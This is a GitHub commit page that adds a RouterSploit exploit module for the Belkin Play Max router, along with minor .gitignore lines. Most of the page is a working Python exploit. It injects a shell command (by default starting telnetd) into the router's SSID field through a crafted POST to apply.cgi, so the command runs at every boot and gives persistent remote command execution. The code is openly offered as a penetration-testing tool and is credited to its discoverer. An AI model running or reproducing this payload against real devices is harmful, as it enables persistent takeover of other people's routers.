Skip to content

Commit

Permalink
Added Belkin Exploit
Browse files Browse the repository at this point in the history
Persistent Remote Command Execution on Belkin Play Max (0day)
  • Loading branch information
BigNerd95 committed Feb 20, 2017
1 parent 8a01c26 commit b9c3b23
Show file tree
Hide file tree
Showing 2 changed files with 79 additions and 0 deletions.
4 changes: 4 additions & 0 deletions .gitignore
Expand Up @@ -67,3 +67,7 @@ target/

# virtualenv
venv/

# macOS
.DS_Store
.DS_Store?
75 changes: 75 additions & 0 deletions routersploit/modules/exploits/belkin/play_max_prce.py
@@ -0,0 +1,75 @@
import re

from routersploit import (
exploits,
print_error,
print_success,
http_request,
mute,
validators,
)


class Exploit(exploits.Exploit):
"""
Persistent remote command execution.
If the target is vulnerable, you can run a bash command at every boot.
You must be logged in to run this exploit, you can use auth_bypass exploit to log in.
"""
__info__ = {
'name': 'Belkin Persistent Remote Command Execution',
'description': 'Module exploits Belkin SSID injection vuln, allowing to execute arbitrary command at every boot',
'authors': [
'BigNerd95 (Lorenzo Santina)', # vulnerability discovery and routersploit module
],
'references': [
'https://bignerd95.blogspot.it/2017/02/belkin-play-max-persistent-remote.html',
'https://gist.github.com/BigNerd95/c18658b472ac0ccf4dbbc73fe988b683'
],
'devices': [
'Belkin Play Max (F7D4401)',
],
}

target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)
port = exploits.Option(80, 'Target Port')
cmd = exploits.Option('telnetd', 'Command to execute')

def run(self):

ssid_url = "{}:{}/wireless_id.stm".format(self.target, self.port)
response = http_request(method="GET", url=ssid_url)
if response is None:
return

srcSSID = re.search("document\.tF\['ssid'\]\.value=\"(.*)\";", response.text)
if srcSSID:
SSID = srcSSID.group(1)
else:
print_error("Exploit failed. Are you logged in?")
exit(1)

if len(SSID)+2+len(self.cmd) > 32:
newlen = 32 - len(self.cmd) - 2
SSID = SSID[0:newlen]
print_status("SSID too long, it will be truncated to: "+SSID)

newSSID = SSID+"%3B"+self.cmd+"%3B"

payload = "page=radio.asp&location_page=wireless_id.stm&wl_bssid=&wl_unit=0&wl_action=1&wl_ssid="+newSSID+"&arc_action=Apply+Changes&wchan=1&ssid="+newSSID
url = "{}:{}/apply.cgi".format(self.target, self.port)
response = http_request(method="POST", url=url, data=payload)

if response is None:
return

err = re.search('countdown\(55\);', response.text)
if err:
print_success("Exploit success, wait until router reboot.")
else:
print_error("Exploit failed. Device seems to be not vulnerable.")
exit(1)

@mute
def check(self):
return None

0 comments on commit b9c3b23

Please sign in to comment.